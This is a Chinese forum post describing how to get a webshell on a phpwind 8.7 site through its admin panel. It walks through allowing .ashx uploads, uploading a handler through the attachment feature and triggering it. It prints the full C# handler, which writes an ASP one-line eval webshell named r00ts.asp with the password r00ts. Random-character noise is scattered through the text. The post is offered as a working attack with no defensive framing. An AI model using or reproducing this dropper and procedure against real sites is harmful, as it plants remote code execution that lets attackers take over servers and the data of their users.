找回密码
 立即注册
查看: 2725|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小. @+ Z  @+ S5 y# T. k
) {9 P0 b4 r, m' n* V8 J/ y. p
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
! ]9 z1 J& H# C4 e3 t! i & K8 @, N2 U; E
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整+ L2 w9 V0 {; q" e' P

, `5 c0 j6 N; U5 H1 v7 f% n然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx+ s) J) n! i5 ~" V8 {
% Y  \" w5 `* L% t$ Z2 C
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
' x, s0 i4 [" [! d5 |/ h + C8 a9 z' n' x: \
下面是代码:  Z! e1 J2 q/ x7 C3 f8 f* @  Q% V

% ~  Y9 ~" ?! T* t$ l4 v- t) `2 F# [<%@ WebHandler Language="C#"Class="Handler" %>
0 ]1 k7 S: b4 }) Busing System;
3 A! J6 `: ]: Z) A( S; z7 vusing System.Web;
0 Y* ~# Q- l8 _using System.IO;! F+ t* O" Y6 U! a) H, Y$ d
public class Handler : IHttpHandler {9 G2 H0 G0 G, n. J
public void ProcessRequest (HttpContext context) {
, p& H8 a1 ]; O5 K& _# g. fcontext.Response.ContentType = "text/plain";
( d" k4 V) N9 w7 h' M( G7 z1 gStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));7 `3 @; P  P* `/ w8 f* \
file1.Write("<%eval request(\"r00ts\")%>");% }* o' b# O8 x! C7 K
file1.Flush();4 m# d5 C% K7 \/ B6 ?' \/ W6 R
file1.Close();. R# D- r% W! Q: m6 G6 L- ?
}
* Z1 _8 y' d9 a% [+ Bpublic bool IsReusable {7 U* V/ D& _9 i0 w+ n
get {
' v, n# k2 G+ A' Yreturn false;
; {* F6 H  w. O) E}" I. E1 d  n1 M2 [: P6 x
}
# p1 u. J/ `6 o; t# A}
7 C8 M; Y5 b( W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表